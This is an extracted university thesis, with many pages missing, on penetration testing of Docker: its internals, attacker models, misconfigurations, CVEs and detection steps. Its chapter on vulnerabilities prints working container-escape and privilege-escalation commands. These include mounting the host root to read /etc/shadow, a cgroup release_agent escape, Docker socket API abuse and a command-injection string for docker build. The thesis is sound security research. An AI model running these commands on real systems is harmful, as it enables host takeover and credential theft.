Methodology For Penetration Testing Docker Systems PDF
Methodology For Penetration Testing Docker Systems PDF
Computing Science
Radboud University
Internship supervisor:
Dave Wurtz
[email protected]
Second assessor:
dr. Simona Samardijska
[email protected]
1 Introduction 5
3 Background on Docker 10
3.1 Containerization Software . . . . . . . . . . . . . . . . . . . . 10
3.1.1 Advantages of Containerization . . . . . . . . . . . . . 11
3.1.2 Virtualization . . . . . . . . . . . . . . . . . . . . . . . 12
3.1.3 The Impact of Containers on Security . . . . . . . . . 12
3.2 Docker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2.1 Docker Concepts . . . . . . . . . . . . . . . . . . . . . 13
3.2.1.1 Docker Daemon . . . . . . . . . . . . . . . . 13
3.2.1.2 Images . . . . . . . . . . . . . . . . . . . . . 13
3.2.1.3 Containers . . . . . . . . . . . . . . . . . . . 14
3.2.1.4 Dockerfiles . . . . . . . . . . . . . . . . . . 14
3.2.2 Docker Internals . . . . . . . . . . . . . . . . . . . . . 15
3.2.3 Data Persistence . . . . . . . . . . . . . . . . . . . . . 16
3.2.4 Networking . . . . . . . . . . . . . . . . . . . . . . . . 16
3.2.5 Docker Socket . . . . . . . . . . . . . . . . . . . . . . . 17
3.2.6 Protection Mechanisms . . . . . . . . . . . . . . . . . 17
3.2.6.1 Capabilities . . . . . . . . . . . . . . . . . . . 18
3.2.6.2 Secure Computing Mode . . . . . . . . . . . 18
3.2.6.3 Application Armor . . . . . . . . . . . . . . . 18
3.2.6.4 Security-Enhanced Linux . . . . . . . . . . . 18
3.2.6.5 Non-root Users in Containers . . . . . . . . 19
3.2.7 docker-compose . . . . . . . . . . . . . . . . . . . . . 19
3.2.8 Registries . . . . . . . . . . . . . . . . . . . . . . . . . 20
1
4 Attacker Models 21
4.1 Container Escapes . . . . . . . . . . . . . . . . . . . . . . . . 22
4.2 Docker Daemon Attacks . . . . . . . . . . . . . . . . . . . . . 24
2
6.1.2.5 Checking Capabilities . . . . . . . . . . . . . 48
6.1.2.6 Checking for Privileged Mode . . . . . . . . 49
6.1.2.7 Checking Volumes . . . . . . . . . . . . . . . 50
6.1.2.8 Checking for a Mounted Docker Socket . . . 50
6.1.2.9 Checking the Network Configuration . . . . . 51
6.1.3 Penetration Testing on a Host Running Docker . . . . 52
6.1.3.1 Docker Version . . . . . . . . . . . . . . . . . 52
6.1.3.2 Who is Allowed to Use Docker? . . . . . . . 52
6.1.3.3 Configuration . . . . . . . . . . . . . . . . . . 53
6.1.3.4 Available Images & Containers . . . . . . . . 53
6.1.3.5 iptables Rules . . . . . . . . . . . . . . . . 54
6.2 Automation Tools . . . . . . . . . . . . . . . . . . . . . . . . 55
6.2.1 Host Configuration Scanners . . . . . . . . . . . . . . 55
6.2.1.1 Docker Bench for Security . . . . . . . . . . 55
6.2.1.2 Dockscan . . . . . . . . . . . . . . . . . . . . 55
6.2.2 Docker Image Analysis Tools . . . . . . . . . . . . . . 56
6.2.3 Exploitation Tools . . . . . . . . . . . . . . . . . . . . 56
6.2.3.1 Break Out of the Box . . . . . . . . . . . . . 56
6.2.3.2 Metasploit . . . . . . . . . . . . . . . . . . . 57
6.2.3.3 Harpoon . . . . . . . . . . . . . . . . . . . . 57
8 Future Work 62
8.1 Orchestration Software . . . . . . . . . . . . . . . . . . . . . . 62
8.2 Docker on Non-Linux Operating Systems . . . . . . . . . . . 62
8.3 Comparison of Virtualization and Containerization . . . . . . 63
8.4 Abridge the CIS Docker Benchmark . . . . . . . . . . . . . . 63
8.5 Docker Man-in-the-Middle . . . . . . . . . . . . . . . . . . . . 64
8.6 A Docker Specific Penetration Testing Tool . . . . . . . . . . 64
9 Related Work 65
10 Conclusions 66
10.1 Takeaways from an Offensive Perspective . . . . . . . . . . . 66
10.2 Takeaways from a Defensive Perspective . . . . . . . . . . . . 68
Acknowledgements 69
Bibliography 70
3
B List of Uninteresting CVEs 76
4
Chapter 1
Introduction
5
Chapter 2
Throughout this thesis, we will look at many examples using Unix shell
commands. We will also be referring to (security related) computing science
concepts. This chapter will introduce the notation and the concepts used.
6
In Listing 2.2, the root user executes two commands to get system
information. The content of /proc/cpuinfo is omitted.
(cont)# uname -r
5.3.8-arch1-1
(cont)# cat /proc/cpuinfo
...
Listing 2.2: Shell command notation example 2.
1
https://cve.mitre.org/
2
https://nvd.nist.gov/
3
https://www.cvedetails.com/
4
https://www.cisecurity.org/cis-hardened-images/
7
The CIS Benchmarks5 are guidelines and best practices on security on
many different types of software. These guidelines are freely available for
anyone and can be found on their site. Companies (e.g. Secura) use the CIS
Benchmarks as a baseline to assess the security and configuration of systems
that use Docker.
They also provide guidelines on Docker.6 The latest version (1.2.0, pub-
lished 29 July 2019) contains 115 guidelines. These are sorted by topic (e.g.
Docker daemon and configuration files). In Appendix A you will find an
example guideline from the latest CIS Docker Benchmark.
In chapter 5 we will look at different Docker related vulnerabilities. We
will map those to guidelines in the CIS Docker Benchmark. We will also
look at a tool that automatically checks if a host follows all guidelines in
section 6.2.1.1.
In section 8.4 we look at possible improvements to the CIS Docker Bench-
mark.
2. Exploitation: The gathered data is used to identify weak spots and vul-
nerabilities. These are attacked and exploited to gain (unprivileged)
access.
5
https://cisecurity.org/cis-benchmarks/
6
Only the community edition (Docker CE). It does not cover the enterprise edition
(Docker EE).
8
5. Cleanup: Once the attack has been successful, all traces of the attack
should be removed.
There are many types of assessments. Most tests differ in what informa-
tion about the system the assessor gets from the system administrator or
owner before the assessment starts or what kind of systems or applications
are being tested. Below are some common assessments that companies, like
Secura, perform:
• Grey Box Application / Infrastructure Test: The assessor gets some in-
formation (e.g. credentials) about the systems in the assessment scope.
9
Chapter 3
Background on Docker
Container
Process A Process B Process A Process B
If we look at Figure 3.1, we see two scenarios. Figure 3.1a is the normal
way to run processes. The operating system starts processes that can com-
municate with other processes. Their view on the file system is the same.
In Figure 3.1b one of the processes runs inside a container. These processes
cannot communicate with one another. If Process A looks at the files in
/tmp, it accesses a different part of the file system than when Process B
looks at the files in /tmp.1 Process B can not even see that Process A exists.
1
Access to files on the host has to be explicitly given (as discussed in section 3.2.3).
10
Process A and Process B see such a different part of the host system
that to Process B it looks like it is running on a wholly different system.
2
A popular content management system to build websites with.
11
3.1.2 Virtualization
Virtualization is an older, similar technique to isolate software. In virtual-
ization, a whole system is simulated on top of the host. This new virtual
machine is called a guest. The guest and the host do not share any system
resources. This has some advantages. For example, it allows running a com-
pletely different guest operating system (e.g. a Windows guest on a Linux
host).
The software that manages the virtual machine is called a hypervisor.
The hypervisor can be run on top of an OS or run directly on hardware
directly (called a bare-metal hypervisor).
Figure 3.2
12
privileges) can be just as effective inside as outside of the container, because
the target (e.g. the kernel) is the same. CVE–2016–5195 (Dirty Cow)4 is a
good example of an exploit that allows container escapes, because it attacks
the kernel of the host [1].
3.2 Docker
The concept of containerization has been around for a long time,5 but it only
gained traction as a serious way to package, distribute and run software in
the last few years. This is mostly because of Docker [2].
Docker was released in 2013 and it does not only offer a way to con-
tainerize software, but also a way to distribute the containers. This enables
creators of software (i.e. developers and organizations) to create and dis-
tribute packages that have no dependencies. If we want to run a specific
application, we only need to download the package that the developers of
the application have created. This allows for much faster development and
deployment, because dependencies and installation of software are no longer
a concern.
3.2.1.2 Images
A Docker image is a packaged directory structure. It is a set of layers. Each
layer adding, changing or removing specific files or directories in the image.
The first layer (called the base image) is either an existing image or nothing
4
https://dirtycow.ninja/
5
https://docs.freebsd.org/44doc/papers/jail/jail-9.html
6
An experimental rootless mode is being worked on.
7
https://github.com/docker/engine/blob/master/docs/rootless.md
8
https://docs.docker.com/engine/security/security/
13
(referred to as scratch). Each layer on top of that is a change to the layer
before.
3.2.1.3 Containers
A container is a running instance of a Docker image. If we run software
packaged as a Docker image, we create a container based on that image. If
we want to run two instances of the same Docker image, we can create two
containers.
3.2.1.4 Dockerfiles
A Dockerfile describes what layers a Docker image consists of. It describes
the steps to build the image. Let’s look at a basic example:
FROM alpine:latest
LABEL maintainer="Joren Vrancken"
CMD ["echo", "Hello World"]
Listing 3.1: A basic Dockerfile.
These three instructions tell the Docker engine how to create a new
Docker image. The full instruction set can be found in the Dockerfile
reference.9
1. The FROM instruction tells the Docker engine what to base the new
Docker image on. Instead of creating an image from scratch (a blank
image), we use an already existing image as our basis (in this case an
image based on Alpine Linux).
2. The LABEL instruction sets a key-value pair for the image. There can
be multiple LABEL instructions. These key-value pairs get packaged
and distributed with the image.
3. The CMD instruction sets the default command that should be run when
the container is started and which arguments should be passed to it.
We can use this to create a new image and container from that image.
(host)$ docker build -t thesis-hello-world .
(host)$ docker run --rm --name=thesis-hello-world-container
thesis-hello-world
Listing 3.2: Creating a Docker container from a Dockerfile.
14
3.2.2 Docker Internals
A Docker container actually is a combination of multiple features within the
Linux kernel. Mainly cgroups, namespaces and OverlayFS.
Control groups (cgroups) are a way to limit resources (e.g. CPU and
RAM usage) to (groups of) processes and to monitor those processes.
namespaces are a way to isolate resources from processes. For example,
if we add a process to a process namespace, it can only see the processes
in that namespace. This allows processes to be isolated from each other.
Linux supports the following namespaces types:10
10
See the man page of namespaces.
15
3.2.3 Data Persistence
Without additional configuration, a Docker container does not have persis-
tent storage. Its storage is maintained when the container is stopped, but
not when the container is removed. It is possible to mount a directory on
the host in a Docker container. This allows the container to access files on
the host and save them to that mounted directory.
(host)$ echo test > /tmp/test
(host)$ docker run -it --rm -v /tmp:/host-tmp ubuntu:latest
bash
(cont)# cat /host-tmp/test
test
(cont)# cat /tmp/test
cat: /tmp/test: No such file or directory
Listing 3.3: Bind mount example.
In Listing 3.3 the host /tmp directory is mounted into the container as
/host-tmp. We can see that a file that is created on the host is readable
by the container. We also see that the container does have its own /tmp
directory, which has no relation to /host-tmp.
3.2.4 Networking
When a Docker container is created, the Docker daemon creates a network
sandbox for that container and (by default) connects it to an internal net-
work. This gives the container networking resources (e.g. an IPv4 address,11
routes and DNS entries) that are separate from the host. All incoming and
outgoing traffic to the container is routed through an interface (by default)
which is bridged12 to an interface on the host.
Incoming traffic (that is not part of an existing connection) is possible by
routing traffic for specific ports from the host to the container. Specifying
which ports on the host are routed to which ports on the container is done
when a container is created. If we, for example, want to expose port 80
to the Docker image created from Listing 3.1 we can execute the following
commands.
(host)$ docker build -t thesis-hello-world .
(host)$ docker run --rm -p 8000:80 --name=thesis-hello-world-
container thesis-hello-world
Listing 3.4: Creating a Docker container with exposed port.
11
IPv6 support is not enabled by default.
12
A bridge interface is an interface that connects the network connection of one interface
to another.
16
The first command creates a Docker image using the Dockerfile and
we then create (and start) a container from that image. We “publish” port
8000 on the host to port 80 of the container. This means that, while the
container is running, all traffic from port 8000 on the host is routed to port
80 inside the container.
By default, all Docker containers are added to the same internal net-
work. This means that (by default) all Docker containers can reach each
other over the network. This differs from the isolation Docker uses for
other namespaces. In the other namespaces, Docker isolates containers
from the host and from other containers. This difference in design can lead
to dangerous misconfigurations, because developers may believe that Docker
containers are completely isolated from each other (including the network).
17
3.2.6.1 Capabilities
To allow or disallow a process to use specific privileged functionality, the
Linux kernel has a feature called “capabilities”. A capability is a granular
way of giving certain privileges to processes. A capability allows a process
to perform a privileged action without giving the process full root rights.
For example, if we want a process to only be able to create its own network
packets, we only give it the CAP_NET_RAW capability.
By default, every Docker container is started with only the necessary
minimum capabilities. The default capabilities can be found in the Docker
code.14 It is possible to add or remove capabilities at runtime using the
--cap-add and --cap-drop [3] arguments.
14
https://github.com/moby/moby/blob/master/oci/caps/defaults.go
15
https://github.com/moby/moby/blob/master/profiles/seccomp/default.json
16
https://github.com/moby/moby/blob/master/profiles/apparmor/template.go
17
https://github.com/genuinetools/bane
18
available by default on some Linux distributions (e.g. Red Hat Linux based
distributions).
Docker does not enable SELinux support by default, but it does provide
a SELinux policy.18
3.2.7 docker-compose
docker-compose is a wrapper program (a program that simplifies usage of
another program) around Docker that can be used to specify Docker con-
tainer configurations in YAML19 files. These files remove the need to execute
Docker commands with the correct arguments in the correct order. We only
have to specify the necessary arguments once in the docker-compose.yaml
file.
Listing 3.6 is an example of an docker-compose.yaml file similar to con-
figuration that I have used in a production environment. Docker containers
in production environments need to have a lot of runtime configuration (e.g.
environment variables, exposed ports and dependencies on other contain-
ers). Specifying everything in a single file simplifies and stores the runtime
configuration process.
---
version: "3"
services:
18
https://www.mankier.com/8/docker_selinux
19
https://yaml.org/
19
postgres:
image: "postgres:10.5"
restart: "always"
environment:
PGDATA: "/var/lib/postgresql/data/pgdata"
volumes:
- "/dir/data/:/var/lib/postgresql/data/"
nextcloud:
image: "nextcloud:17-fpm"
restart: "always"
ports:
- "127.0.0.1:9000:9000"
depends_on:
- "postgres"
environment:
POSTGRES_DB: "database"
POSTGRES_USER: "user"
POSTGRES_PASSWORD: "password"
POSTGRES_HOST: "postgres"
volumes:
- "/dir/www/:/var/www/html/"
Listing 3.6: Example docker-compose.yaml.
Similar functionality is also built into the Docker Engine, called Docker
Stack. It also uses docker-compose.yaml. Some features that are supported
by docker-compose are not supported by Docker Stack and vice versa.
3.2.8 Registries
Docker images are distributable through registries. A registry is a server
(that anybody can host), that stores Docker images. When a client does
not have a Docker image that it needs, it can contact a registry to download
that image. Note that, because registries are an easy way to distribute
Docker images, they are an interesting attack vector.
The most popular (and default) registry is Docker Hub,20 which is run
by the Docker company itself. Anybody can create a Docker Hub account
and start creating and publishing images that anybody can download.
20
https://hub.docker.com/
20
Chapter 4
Attacker Models
21
ter 5) and how to identify them (chapter 6). We will do this by using the
attacker models of this chapter.
To clarify the attacker models, we will take a look at the image in Fig-
ure 4.1 with arrows to visualize what is attacking what.
Container Container
Process C Process D
Process A Process B
(unprivileged)
Docker Daemon
Host
Figure 4.1
Two processes running directly on a host and two processes running inside Docker
containers.
D. Similar to C.
22
Container Container
Process C Process D
Process A Process B
(unprivileged)
Docker Daemon
Host
Figure 4.2
A process (Process C) running inside a container accessing data on the host (that
it should not be able to access), in this case Process B.
also from other containers. This allows multiple containers with sensitive
data to be run on the same host without them being able to access each
other’s data.
An example attack scenario would be a company that offers Platform as
a Service (PaaS) products that allows customers to run Docker containers
on their infrastructure.1 If it is possible for the attacker to submit a Docker
image with a malicious process that escapes the container and access the un-
derlying infrastructure, they could access other containers or other internal
resources. That would, obviously, be a big problem for the company.
It should be noted that an exploit that allows someone to escape from a
Linux namespace is essentially a container escape exploit, because Docker
relies heavily on namespaces for isolation (see section 3.2.2). CVE–2017–
7308 [4] is a good example of this.
1
This is quite common nowadays. All major computing providers offer such a service.
23
4.2 Docker Daemon Attacks
In a Docker daemon attack, an attacker has access to a host with Docker
installed on it. The attacker might be able access sensitive and privileged
information by interacting with the Docker daemon or by reading Docker
configuration files. Unlike container escapes, the attacker does not attack
Docker or the isolation that Docker creates directly, but uses Docker to
perform malicious actions.
This is attack is shown in Figure 4.3.
Container Container
Process C Process D
Process A Process B
(unprivileged)
Docker Daemon
Host
Figure 4.3
An unprivileged process B accessing privileged data (in the image process A)
using the Docker daemon.
24
Chapter 5
Known Vulnerabilities in
Docker
25
as such should not be used as an exhaustive list of important bugs.
All of the risks of these bugs can be prevented by using the latest version
of Docker and Docker images. This is covered by the CIS Docker Benchmark
guidelines 1.1.2 (Ensure that the version of Docker is up to date) and 5.27
(Ensure that Docker commands always make use of the latest version of
their image), respectively.
Because of the reasons above we will focus more on misconfigurations in
this chapter and following chapters.
In chapter 6 we will look at how these vulnerabilities can be identified
during a penetration test. In chapter 7 we will combine the information
from this chapter and chapter 6 into a checklist.
5.1 Misconfigurations
In this section, we will take a look at misconfigurations of Docker and the
impact those misconfigurations can have. For each misconfiguration, we will
look at practical examples and the impact.
The first two misconfigurations we will look at (section 5.1.1 and sec-
tion 5.1.2) are relevant to attacks that are performed on a host, Docker
daemon attacks (section 4.2). The other misconfigurations are relevant to
attacks that are performed from within a container, container escapes (sec-
tion 4.1)
We map each misconfiguration to relevant CIS Docker Benchmark guide-
lines (if any exist). We will see that the CIS Docker Benchmark does not
cover all misconfigurations (see section 5.1.1.3, section 5.1.2, section 5.1.5.3
and section 5.1.6).
2
https://docs.docker.com/engine/security/security/
26
This means that you can start a container where the /host direc-
tory is the / directory on your host; and the container can alter
your host filesystem without any restriction.
In short, because the Docker daemon runs as root, if a user adds a
directory as a volume to a container, that file is accessed as root. There
a few ways for unprivileged users to access Docker. In this section we will
look at those.
27
5.1.1.2 World Readable and Writable Docker Socket
By default, only root and every user in the docker group have access to
Docker, because they have read and write access to the Docker socket. How-
ever, some administrators set the permissions to read and write for all users
(i.e. 666), giving all users access to the Docker daemon.
(host)$ groups | grep -o docker
(host)$ ls -l /var/run/docker.sock
srw-rw-rw- 1 root docker 0 Dec 20 13:16 /var/run/docker.sock
(host)$ docker run -it --rm -v /:/host ubuntu:latest bash
(cont)# grep admin /host/etc/shadow
admin:$6$VOSV5AVQ$jHWxAVAUgl...:18142:0:99999:7:::
Listing 5.2: All users can use Docker if they have read and write access to
the Socket
In Listing 5.2, we see that we are not a member of the Docker group,
but because every user has read and write access (i.e. the read and write
permissions are set for other) to the Docker Socket we are still able to use
Docker.
This is covered by the CIS Docker Benchmark guideline 3.4 (Ensure that
docker.socket file permissions are set to 644 or more restrictive).
28
-rwsr-xr-x 1 root root 85M okt 18 17:52 /usr/bin/docker
(host)$ docker run -it --rm -v /:/host ubuntu:latest bash
(cont)# grep admin /host/etc/shadow
admin:$6$VOSV5AVQ$jHWxAVAUgl...:18142:0:99999:7:::
Listing 5.3: Docker setuid exploit example.
In Listing 5.3 we see that we are not a part of the docker group, but
we can still run docker because the setuid bit (and the execute bit for all
users) is set.
This is not covered by the CIS Docker Benchmark guidelines. There are
multiple guidelines about correct file and directory permissions, but none
cover the binaries.
5.1.2.1 .docker/config.json
When pushing images to a registry, users need to login to the registry to
authenticate themselves. It would be quite annoying to login every time a
user wants to push and image. That is why .docker/config.json caches
those credentials. These are stored in Base64 encoding in the home directory
of the user by default.3 An attacker with access to the file can use the
credentials to login and push malicious Docker images [5].
5.1.2.2 docker-compose.yaml
docker-compose.yaml files often contain secrets (e.g. passwords and API
keys), because all information that should be passed to a container is saved
3
https://docs.docker.com/engine/reference/commandline/login/
29
in the docker-compose.yaml file.4
4
Both yml and yaml are valid YAML extensions, but yaml is the official extension.
30
release_agent (/c) is executed, we can see all the processes on the host in
/o.
The --privileged flag is covered by two CIS Docker Benchmark guide-
lines. Guideline 5.4 (Ensure that privileged containers are not used) recom-
mends to not create containers with privileged mode. Guideline 5.22 (Ensure
that docker exec commands are not used with the privileged option) recom-
mends to not execute commands in running containers (with docker exec)
in privileged mode.
5.1.4 Capabilities
As we saw in section 3.2.6.1, in order to perform privileged actions in the
Linux kernel, a process needs the relevant capability. Docker containers
are started with minimal capabilities, but it is possible to add extra capa-
bilities at runtime. Giving containers extra capabilities gives the container
permission to perform certain actions. Some of these actions allow Docker
escapes. We will look at two such capabilities in the following sections.
The CIS Docker Benchmark covers all of these problems in one guideline:
5.3 (Ensure that Linux kernel capabilities are restricted within containers).
5.1.4.1 CAP_SYS_ADMIN
The Docker escape by Felix Wilhelm [9] we used in section 5.1.3 needs to
be run in privileged mode to work, but it can be rewritten to only need
the permission to run mount [8], which is granted by the CAP_SYS_ADMIN
capability.
1 (host)$ docker run --rm -it --cap-add=CAP_SYS_ADMIN --security
-opt apparmor=unconfined ubuntu /bin/bash
2 (cont)# mkdir /tmp/cgrp
3 (cont)# mount -t cgroup -o rdma cgroup /tmp/cgrp
4 (cont)# mkdir /tmp/cgrp/x
5 (cont)# echo 1 > /tmp/cgrp/x/notify_on_release
6 (cont)# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/
mtab`
7 (cont)# echo "$host_path/cmd" > /tmp/cgrp/release_agent
8 (cont)# echo '#!/bin/sh' > /cmd
9 (cont)# echo "ps aux > $host_path/output" >> /cmd
10 (cont)# chmod a+x /cmd
11 (cont)# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
12 (cont)# cat /output
Listing 5.5: Docker escape using CAP_SYS_ADMIN.
31
Unlike before, instead of relying on --privileged to give us write access
to a cgroup, we just need to mount our own. On line 2 and line 3 a new
cgroup cgrp is created and mounted to /tmp/cgrp. Now we have a cgroup
that we have write access too, we can perform the same exploit as in
section 5.1.3.
5.1.4.2 CAP_DAC_READ_SEARCH
Before Docker 1.0.0 CAP_DAC_READ_SEARCH was added to the default capa-
bilities that a containers are given. But this capability allows a process
to escape its the container [10]. A process with CAP_DAC_READ_SEARCH is
able to bruteforce the internal index of files outside of the container. To
demonstrate this attack a proof of concept exploit was released [11] [12].
This exploit has been released in 2014, but still works on containers with
the CAP_DAC_READ_SEARCH capability.
The exploit needs a file with a file handle on the host system to properly
work. Instead of the default /.dockerinit (which is no longer created in
newer versions of Docker) we use the exploit file itself /tmp/a.out. We start
a container with the CAP_DAC_READ_SEARCH capability and run the exploit.
It prints the password file of the host (i.e. /etc/shadow).
32
(host)$ docker ps -a
...
(host)$ curl --unix-socket /var/run/docker.sock -H 'Content-
Type: application/json' "http://localhost/containers/json?
all=1"
...
Listing 5.7: Interaction with the Docker daemon with the Docker client and
the socket directly.
33
(cont)# curl --output - --unix-socket /var/run/docker.sock "
http://localhost/containers/escape/logs?stdout=true"
...
admin:$6$VOSV5AVQ$jHWxAVAUgl...:18142:0:99999:7:::
...
(cont)# curl -XDELETE --unix-socket /var/run/docker.sock "http
://localhost/containers/escape"
Listing 5.8: Start Docker using the API to read host files.
34
This is also covered by CIS Docker Benchmark guideline 5.31 (Ensure
that the Docker socket is not mounted inside any containers).
35
It is, however, a bit counterintuitive, because we would assume that if a
firewall rule is set on the host, it would apply to everything running on that
host (including containers).
We will look at the following example of bypassing a firewall rule with
Docker.
(host)# iptables -A OUTPUT -p tcp --dport 80 -j DROP
(host)# iptables -A FORWARD -p tcp --dport 80 -j DROP
(host)$ curl http://httpbin.org/get
curl: (7) Failed to connect to httpbin.org port 80: Connection
timed out
(host)$ docker run -it --rm ubuntu /bin/bash
(cont)# apt update
...
(cont)# apt install curl
...
(cont)# curl http://httpbin.org/get
{
"args": {},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.58.0"
},
...
"url": "https://httpbin.org/get"
}
Listing 5.10: Bypass iptables firewall rules using Docker.
In Listing 5.10 we first setup rules to drop all outgoing (including for-
warded) traffic on port 80 (the standard HTTP port). Then, we try to request
a webpage (http://httpbin.org/get) on the host. As expected, the HTTP
service is not reachable for us. If we then try to make the exact same request
in a container, it works.
The CIS Docker Benchmark does not cover this problem. It, however,
does have guidelines that ensures this problem exists. Guideline 2.3 (Ensure
Docker is allowed to make changes to iptables) recommends that the Docker
daemon is allowed to change the firewall rules. Guideline 5.9 (Ensure that
the host’s network namespace is not shared) recommends to not use the --
network=host argument, to make sure the container is put into a separate
network stack.
These are a good recommendations, because following them removes the
need to configure a containerized network stack ourselves. However, it also
isolates the firewall rules of the host from the containers.
36
5.1.7 ARP Spoofing
By default, all Docker containers are added to the same bridge network.
This means they are able to reach each other. By default, Docker containers
also receive the CAP_NET_RAW capability, which allows them to create raw
packets. This means that by default, containers are able to ARP spoof other
containers [21].9
Let’s take a look at a practical example. Let’s say we have three contain-
ers. One container will ping another container. A third malicious container
wants to intercept the ICMP packets.
We start three Docker containers using the ubuntu:latest image (which
is the same as ubunut:bionic-20191029 at the time of writing). They have
the following names, IPv4 addresses and MAC addresses:
9
IPv4 forwarding is enabled by default by Docker.
37
(vic0)# ping 172.17.0.3
...
(atck)# tcpdump -vni eth0 icmp
...
10:16:18.368351 IP (tos 0x0, ttl 63, id 52174, offset 0, flags
[DF], proto ICMP (1), length 84)
172.17.0.2 > 172.17.0.3: ICMP echo request, id 898, seq 5,
length 64
10:16:18.368415 IP (tos 0x0, ttl 64, id 8188, offset 0, flags
[none], proto ICMP (1), length 84)
172.17.0.3 > 172.17.0.2: ICMP echo reply, id 898, seq 5,
length 64
...
Listing 5.11: Docker container ARP spoof
38
5.2.1 CVE–2019–16884
A bug in runC (1.0.0-rc8 and older versions) made it possible to mount
/proc in a container. Because the active AppArmor profile is defined in
/proc/self/attr/apparmor/current, this vulnerability allows a container
to completely bypass AppArmor.
A proof of concept has been provided at [22]. We see that if we create a
mock /proc, the Docker starts without the specified AppArmor profile.
(host)$ mkdir -p rootfs/proc/self/{attr,fd}
(host)$ touch rootfs/proc/self/{status,attr/exec}
(host)$ touch rootfs/proc/self/fd/{4,5}
(host)$ cat Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
(host)$ docker build -t apparmor-bypass .
(host)$ docker run --rm -it --security-opt "apparmor=docker-
default" apparmor-bypass
# container runs unconfined
Listing 5.12: Bypass AppArmor by mounting /proc.
5.2.2 CVE–2019–13139
Older versions than Docker 18.09.4, had a bug were docker build incor-
rectly parsed URLs, which allows code execution [23]. The string supplied
to docker build is split on “:” and “#” to parse the Git reference. By
supplying a malicious URL, it is possible to achieve code execution.
For example, in the following docker build command, the command
“echo attack” is executed.
(host)$ docker build "[email protected]/meh/meh#--upload-pack=
echo attack;#:"
Listing 5.13: docker build command execution.
docker build executes git fetch in the background. But with the ma-
licious command git fetch --upload-pack=echo attack; git@github.
com/meh/meh is executed, which in turn executes echo attack.
5.2.3 CVE–2019–5736
A serious vulnerability was discovered in runC that allows containers to
overwrite the runC binary on the host. Docker before version 18.09.2 is
39
vulnerable. Whenever a Docker container is created or when docker exec
is used, a runC process is run. This runC process bootstraps the container.
It creates all the necessary restrictions and then executes the process that
needs to run in the container. The researches found that it is possible
to make runC execute itself in the container, by telling the container to
start /proc/self/exe which during the bootstrap is symlinked to the runC
binary [24] [25]. /proc/self/exe in the container will point to the runC
binary on the host. The root user in the container is then able to replace the
runC host binary using that reference. The next time runC is executed (i.e.
when a container is created or docker exec is run), the overwritten binary
is run instead. This, of course, is dangerous because it allows a malicious
container to execute code on the host.
5.2.4 CVE–2019–5021
The Docker image for Alpine Linux (one of the most used base images) had
a problem where the password of the root user in the container is left empty.
In Linux it is possible to disable a password and to leave it blank. A disabled
password cannot be used, but a blank password equals an empty string. This
allows non-root users to gain root rights by supplying an empty string.
It is still possible to use the vulnerable images (alpine:3.3, alpine:3.4
and alpine:3.5).
(host)$ docker run -it --rm alpine:3.5 cat /etc/shadow
root:::0:::::
...
(host)$ docker run -it --rm alpine:3.5 sh
(cont)# apk add --no-cache linux-pam shadow
...
(cont)# adduser test
...
(cont)# su test
Password:
(cont)$ su root
(cont)#
Listing 5.14: The Docker image of Alpine Linux 3.5 has an empty password.
10
https://nvd.nist.gov/vuln/detail/CVE-2019-5021
40
an extremely high-risk vulnerability. But in actuality, this vulnerability is
only risky in specific cases.
An empty root password sounds dangerous, but it really is not that
dangerous in an isolated environment (e.g. a container) that runs as root
(inside the container) by default. This vulnerability will only be dangerous
in specific cases.
For example, if we create a Docker image based on alpine:3.5 that uses
a non-root user by default. If an attacker finds a way to execute code in the
container, this vulnerability will allow them to escalate their privileges from
the non-root user to root, but an attacker who gains root access inside the
container will still need to find a way to escape the container. Being able to
execute code as root will help them with escaping the container, but it does
not guarantee it. This example shows that this vulnerability is dangerous,
but only in a scenario where it is chained using other vulnerabilities.
5.2.5 CVE–2018–15664
A bug was found in Docker 18.06.1-ce-rc1 that allows processes in containers
to read and write files on the host [26] [27]. There is enough time between
the checking if a symlink is linked to a safe path (within the container) and
the actual using of the symlink, that the symlink can be pointed to another
file in the mean time. This allows a container to start by reading or writing
a symlink to an arbitrary non-relevant file in the container, but actually
read or write a file on the host.
5.2.6 CVE–2018–9862
Docker did try to interpret values passed to the --user argument as a
username before trying them as a user id [28]. This can be misused using
the first entry of /etc/passwd. This allows malicious images be created
with users that grant root rights when used.
(host)$ docker run --rm -ti ... ubuntu bash
(cont)# echo "10:x:0:0:root:/root:/bin/bash" > /etc/passwd
(host)$ docker exec -ti -u 10 hello bash
(cont)# id
uid=0(10) gid=0(root) groups=0(root)
Listing 5.15: Overwrite the root user in a container.
5.2.7 CVE–2016–3697
Docker before 1.11.2 did try to interpret values passed to the --user ar-
gument as a username before trying them as a user id [29]. This allows
malicious images be created with users that grant root rights when used.
41
(host)$ docker run --rm -it --name=test ubuntu:latest /bin/
bash
(cont)# echo '31337:x:0:0:root:/root:/bin/bash' >> /etc/passwd
(host)$ sudo docker exec -it -u 31337 test /bin/bash
(cont)# id
uid=0(root) gid=0(root) groups=0(root)
Listing 5.16: Override root user in container.
42
Chapter 6
Penetration Testing of
Docker
43
up to date”. Checking whether a system is vulnerable to a known bug is
also a lot easier than checking whether a system is vulnerable because of
misconfiguration, because all Docker bugs are dependent on the version of
Docker being out of date (i.e. the Docker version tells us what Docker is
vulnerable to).
6.1.1.1 /.dockerenv
/.dockerenv is a file that is present in all Docker containers. It was used
in the past by LXC to load the environment variables in the container.1
Currently it is always empty, because LXC is not used anymore. However,
it is still (officially) used to identify whether a process is running in a Docker
container [30] [31].
1
LXC used to be the engine that Docker used to create containers. It has now been
replaced with containerd.
44
If we look at a host, we do not see the same /docker/ parent control
group.
(cont)# cat /proc/1/cgroup
12:hugetlb:/
